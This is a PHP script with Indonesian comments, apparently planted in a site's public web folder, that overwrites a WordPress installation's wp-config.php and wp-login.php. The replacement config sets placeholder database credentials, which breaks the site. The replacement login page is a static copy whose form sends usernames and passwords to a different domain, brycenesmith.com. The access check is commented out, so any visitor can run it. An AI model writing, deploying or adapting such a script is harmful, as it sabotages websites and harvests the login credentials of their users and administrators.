File: /virtual/moonarc/public_html/auto_change.php
<?php
/**
* Skrip untuk mengganti wp-config.php dan wp-login.php dengan konten baru.
* Letakkan file ini di root WordPress (satu folder dengan wp-config.php).
* Jalankan melalui browser atau CLI.
*/
// --- Konfigurasi keamanan sederhana (opsional) ---
// Ganti 'gantidenganpassword' dengan kata sandi rahasia Anda.
// Jika tidak ingin password, hapus atau komentari dua baris di bawah.
// if (!isset($_GET['key']) || $_GET['key'] !== 'gantidenganpassword') {
// die('Akses ditolak. Gunakan ?key=password');
// }
// --- Tentukan path file ---
$rootDir = __DIR__; // direktori skrip ini
$wpConfigPath = $rootDir . '/wp-config.php';
$wpLoginPath = $rootDir . '/wp-login.php';
// --- Konten baru untuk wp-config.php ---
$newWpConfig = <<<'EOT'
<?php
/**
* The base configuration for WordPress
*
* The wp-config.php creation script uses this file during the installation.
* You don't have to use the website, you can copy this file to "wp-config.php"
* and fill in the values.
*
* This file contains the following configurations:
*
* * Database settings
* * Secret keys
* * Database table prefix
* * ABSPATH
*
* @link https://developer.wordpress.org/advanced-administration/wordpress/wp-config/
*
* @package WordPress
*/
// ** Database settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'x' );
/** Database username */
define( 'DB_USER', 'x' );
/** Database password */
define( 'DB_PASSWORD', 'x' );
/** Database hostname */
define( 'DB_HOST', 'localhost' );
/** Database charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8mb4' );
/** The database collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );
/**#@+
* Authentication unique keys and salts.
*
* Change these to different unique phrases! You can generate these using
* the {@link https://api.wordpress.org/secret-key/1.1/salt/ WordPress.org secret-key service}.
*
* You can change these at any point in time to invalidate all existing cookies.
* This will force all users to have to log in again.
*
* @since 2.6.0
*/
define( 'AUTH_KEY', 'ADv:veMeXRN.,F=0jTzI2j=~1og3WI@5S@1n2q,K)]zPg=/h/hyqR`c{/lc2Ul|W' );
define( 'SECURE_AUTH_KEY', 'E50_g_QG(@57r1=xGeM5Hlc2c~5K.z:x,k U/o}dp8,MX}@5RRGnH3-?4!4Cu9v ' );
define( 'LOGGED_IN_KEY', 'X/jS[<mdN{Gp,QOLbs-%gD4xy]exc.#X0pv07X1/B;#^>|+}q}Fno[wZ9v@7Jn$z' );
define( 'NONCE_KEY', '{Jp:k:c4pEu2IlF452[yGNa_?cG#7(9+jc%0|7>6G_F8C`n1zhK)=!MNDZc.l@%3' );
define( 'AUTH_SALT', 'i2n 6M_Kc<pEmK^m]*m:PiE> 3U}~e;iXm`g~dg%=ZJm_!48bw37QkROz}H3p*Df' );
define( 'SECURE_AUTH_SALT', ')=hkmlE0U4NIz8@I_z`p47R?JHnLB1tDkmwSR#jE)Zs.2zAcy71wwNh^KmIAics?' );
define( 'LOGGED_IN_SALT', '2K}&0$<IS>?-k>1q>:*=c2KDZ~^@f@^t^Of%`GnwaRH/0`O63DTTL=P8q|o4x5J%' );
define( 'NONCE_SALT', 't>F^)Vex|NJnF:V}m;c=guD*n:eauD=kD8Sf%:t8=AC_!AW*{UO<=![a+[BL>z.e' );
/**#@-*/
/**
* WordPress database table prefix.
*
* You can have multiple installations in one database if you give each
* a unique prefix. Only numbers, letters, and underscores please!
*
* At the installation time, database tables are created with the specified prefix.
* Changing this value after WordPress is installed will make your site think
* it has not been installed.
*
* @link https://developer.wordpress.org/advanced-administration/wordpress/wp-config/#table-prefix
*/
$table_prefix = 'wp_randonservizi';
/**
* For developers: WordPress debugging mode.
*
* Change this to true to enable the display of notices during development.
* It is strongly recommended that plugin and theme developers use WP_DEBUG
* in their development environments.
*
* For information on other constants that can be used for debugging,
* visit the documentation.
*
* @link https://developer.wordpress.org/advanced-administration/debug/debug-wordpress/
*/
define( 'WP_DEBUG', false );
/* Add any custom values between this line and the "stop editing" line. */
/* That's all, stop editing! Happy publishing. */
/** Absolute path to the WordPress directory. */
if ( ! defined( 'ABSPATH' ) ) {
define( 'ABSPATH', __DIR__ . '/' );
}
/** Sets up WordPress vars and included files. */
require_once ABSPATH . 'wp-settings.php';
EOT;
// --- Konten baru untuk wp-login.php ---
$newWpLogin = <<<'EOT'
<!DOCTYPE html>
<html lang="en-US">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<title>LOG In < Wordpress </title>
<meta name='robots' content='max-image-preview:large, noindex, noarchive' />
<link href='https://fonts.gstatic.com' crossorigin rel='preconnect' />
<script id="jquery-core-js" src="https://brycenesmith.com/wp-includes/js/jquery/jquery.min.js?ver=3.7.1"></script>
<script id="jquery-migrate-js" src="https://brycenesmith.com/wp-includes/js/jquery/jquery-migrate.min.js?ver=3.4.1"></script>
<script id="slt-fsp-force-zxcvbn-js" src="https://brycenesmith.com/wp-content/mu-plugins/force-strong-passwords/force-zxcvbn.min.js?ver=1.8.0"></script>
<script id="slt-fsp-admin-js-js" src="https://brycenesmith.com/wp-content/mu-plugins/force-strong-passwords/js-admin.min.js?ver=1.8.0"></script>
<link rel='stylesheet' id='wpauthor-blocks-fontawesome-front-css' href='https://brycenesmith.com/wp-content/plugins/wp-post-author/assets/fontawesome/css/all.css?ver=3.6.2' media='all' />
<link rel='stylesheet' id='wpauthor-frontend-block-style-css-css' href='https://brycenesmith.com/wp-content/plugins/wp-post-author/assets/dist/blocks.style.build.css?ver=3.6.2' media='all' />
<link rel='stylesheet' id='dashicons-css' href='https://brycenesmith.com/wp-includes/css/dashicons.min.css?ver=7.0.1' media='all' />
<link rel='stylesheet' id='buttons-css' href='https://brycenesmith.com/wp-includes/css/buttons.min.css?ver=7.0.1' media='all' />
<link rel='stylesheet' id='forms-css' href='https://brycenesmith.com/wp-admin/css/forms.min.css?ver=7.0.1' media='all' />
<link rel='stylesheet' id='l10n-css' href='https://brycenesmith.com/wp-admin/css/l10n.min.css?ver=7.0.1' media='all' />
<link rel='stylesheet' id='wp-base-styles-css' href='https://brycenesmith.com/wp-includes/css/dist/base-styles/admin-schemes.min.css?ver=7.0.1' media='all' />
<link rel='stylesheet' id='login-css' href='https://brycenesmith.com/wp-admin/css/login.min.css?ver=7.0.1' media='all' />
<link rel='stylesheet' id='wpa-css-css' href='https://brycenesmith.com/wp-content/plugins/honeypot/includes/css/wpa.css?ver=2.2.02' media='all' />
<meta name='referrer' content='strict-origin-when-cross-origin' />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<link rel="icon" href="https://brycenesmith.com/wp-content/uploads/2024/03/cropped-blitz_logo_square_transparent_bg-32x32.png" sizes="32x32" />
<link rel="icon" href="https://brycenesmith.com/wp-content/uploads/2024/03/cropped-blitz_logo_square_transparent_bg-192x192.png" sizes="192x192" />
<link rel="apple-touch-icon" href="https://brycenesmith.com/wp-content/uploads/2024/03/cropped-blitz_logo_square_transparent_bg-180x180.png" />
<meta name="msapplication-TileImage" content="https://brycenesmith.com/wp-content/uploads/2024/03/cropped-blitz_logo_square_transparent_bg-270x270.png" />
</head>
<body class="login no-js login-action-login wp-core-ui admin-color-modern locale-en-us">
<script>
document.body.className = document.body.className.replace('no-js','js');
</script>
<h1 class="screen-reader-text">Log In</h1>
<div id="login">
<h1 role="presentation" class="wp-login-logo"><a href="https://wordpress.org/">Powered by WordPress</a></h1>
<form name="loginform" id="loginform" action="https://brycenesmith.com/wp-login.php" method="post">
<p>
<label for="user_login">Username or Email Address</label>
<input type="text" name="log" id="user_login" class="input ltr" value="" size="20" autocapitalize="off" autocomplete="username" required="required" />
</p>
<div class="user-pass-wrap">
<label for="user_pass">Password</label>
<div class="wp-pwd">
<input type="password" name="pwd" id="user_pass" class="input password-input ltr" value="" size="20" autocomplete="current-password" spellcheck="false" required="required" />
<button type="button" class="button button-secondary wp-hide-pw hide-if-no-js" data-toggle="0" aria-label="Show password">
<span class="dashicons dashicons-visibility" aria-hidden="true"></span>
</button>
</div>
</div>
<input type="hidden" id="wpa_initiator" class="wpa_initiator" name="wpa_initiator" value="" /> <p class="forgetmenot"><input name="rememberme" type="checkbox" id="rememberme" value="forever" /> <label for="rememberme">Remember Me</label></p>
<p class="submit">
<input type="submit" name="wp-submit" id="wp-submit" class="button button-primary button-large" value="Log In" />
<input type="hidden" name="redirect_to" value="https://brycenesmith.com/wp-admin/" />
<input type="hidden" name="testcookie" value="1" />
</p>
</form>
<p id="nav">
<a class="wp-login-lost-password" href="https://brycenesmith.com/wp-login.php?action=lostpassword">Lost your password?</a> </p>
<script>
function wp_attempt_focus() {setTimeout( function() {try {d = document.getElementById( "user_login" );d.focus(); d.select();} catch( er ) {}}, 200);}
wp_attempt_focus();
if ( typeof wpOnload === 'function' ) { wpOnload() }
</script>
<p id="backtoblog">
<a href="https://brycenesmith.com/">← Go to First Last</a> </p>
</div>
<script id="wpascript-js" src="https://brycenesmith.com/wp-content/plugins/honeypot/includes/js/wpa.js?ver=2.2.02"></script>
<script id="wpascript-js-after">
wpa_field_info = {"wpa_field_name":"yzbolg6644","wpa_field_value":944606,"wpa_add_test":"no"}
//# sourceURL=wpascript-js-after
</script>
<script id="clipboard-js" src="https://brycenesmith.com/wp-includes/js/clipboard.min.js?ver=2.0.11"></script>
<script id="zxcvbn-async-js-extra">
var _zxcvbnSettings = {"src":"https://brycenesmith.com/wp-includes/js/zxcvbn.min.js"};
//# sourceURL=zxcvbn-async-js-extra
</script>
<script id="zxcvbn-async-js" src="https://brycenesmith.com/wp-includes/js/zxcvbn-async.min.js?ver=1.0"></script>
<script id="wp-hooks-js" src="https://brycenesmith.com/wp-includes/js/dist/hooks.min.js?ver=7496969728ca0f95732d"></script>
<script id="wp-i18n-js" src="https://brycenesmith.com/wp-includes/js/dist/i18n.min.js?ver=781d11515ad3d91786ec"></script>
<script id="wp-i18n-js-after">
wp.i18n.setLocaleData( { 'text direction\u0004ltr': [ 'ltr' ] } );
//# sourceURL=wp-i18n-js-after
</script>
<script id="password-strength-meter-js-extra">
var pwsL10n = {"unknown":"Password strength unknown","short":"Very weak","bad":"Weak","good":"Medium","strong":"Strong","mismatch":"Mismatch"};
//# sourceURL=password-strength-meter-js-extra
</script>
<script id="password-strength-meter-js" src="https://brycenesmith.com/wp-admin/js/password-strength-meter.min.js?ver=7.0.1"></script>
<script id="underscore-js" src="https://brycenesmith.com/wp-includes/js/underscore.min.js?ver=1.13.8"></script>
<script id="wp-util-js-extra">
var _wpUtilSettings = {"ajax":{"url":"/wp-admin/admin-ajax.php"}};
//# sourceURL=wp-util-js-extra
</script>
<script id="wp-util-js" src="https://brycenesmith.com/wp-includes/js/wp-util.min.js?ver=7.0.1"></script>
<script id="wp-dom-ready-js" src="https://brycenesmith.com/wp-includes/js/dist/dom-ready.min.js?ver=a06281ae5cf5500e9317"></script>
<script id="wp-a11y-js" src="https://brycenesmith.com/wp-includes/js/dist/a11y.min.js?ver=af934e5259bc51b8718e"></script>
<script id="user-profile-js-extra">
var userProfileL10n = {"user_id":"0","nonce":"242e90b8b4"};
//# sourceURL=user-profile-js-extra
</script>
<script id="user-profile-js" src="https://brycenesmith.com/wp-admin/js/user-profile.min.js?ver=7.0.1"></script>
<script>
/(trident|msie)/i.test(navigator.userAgent)&&document.getElementById&&window.addEventListener&&window.addEventListener("hashchange",function(){var t,e=location.hash.substring(1);/^[A-z0-9_-]+$/.test(e)&&(t=document.getElementById(e))&&(/^(?:a|select|input|button|textarea)$/i.test(t.tagName)||(t.tabIndex=-1),t.focus())},!1);
</script>
</body>
</html>
EOT;
// --- Fungsi untuk mengganti file dengan backup ---
function replaceFile($filePath, $newContent) {
if (!file_exists($filePath)) {
return "File $filePath tidak ditemukan.";
}
if (!is_writable($filePath)) {
return "File $filePath tidak dapat ditulis. Periksa izin (chmod).";
}
// Backup file asli
$backupPath = $filePath . '.bak';
if (!copy($filePath, $backupPath)) {
return "Gagal membuat backup untuk $filePath.";
}
// Tulis konten baru
if (file_put_contents($filePath, $newContent) === false) {
return "Gagal menulis konten baru ke $filePath.";
}
return true;
}
// --- Eksekusi ---
echo "<pre>";
echo "Memulai proses penggantian file...\n";
$resultConfig = replaceFile($wpConfigPath, $newWpConfig);
if ($resultConfig === true) {
echo "✅ wp-config.php berhasil diganti. Backup disimpan sebagai wp-config.php.bak\n";
} else {
echo "❌ Gagal: $resultConfig\n";
}
$resultLogin = replaceFile($wpLoginPath, $newWpLogin);
if ($resultLogin === true) {
echo "✅ wp-login.php berhasil diganti. Backup disimpan sebagai wp-login.php.bak\n";
} else {
echo "❌ Gagal: $resultLogin\n";
}
echo "Selesai.\n";
echo "</pre>";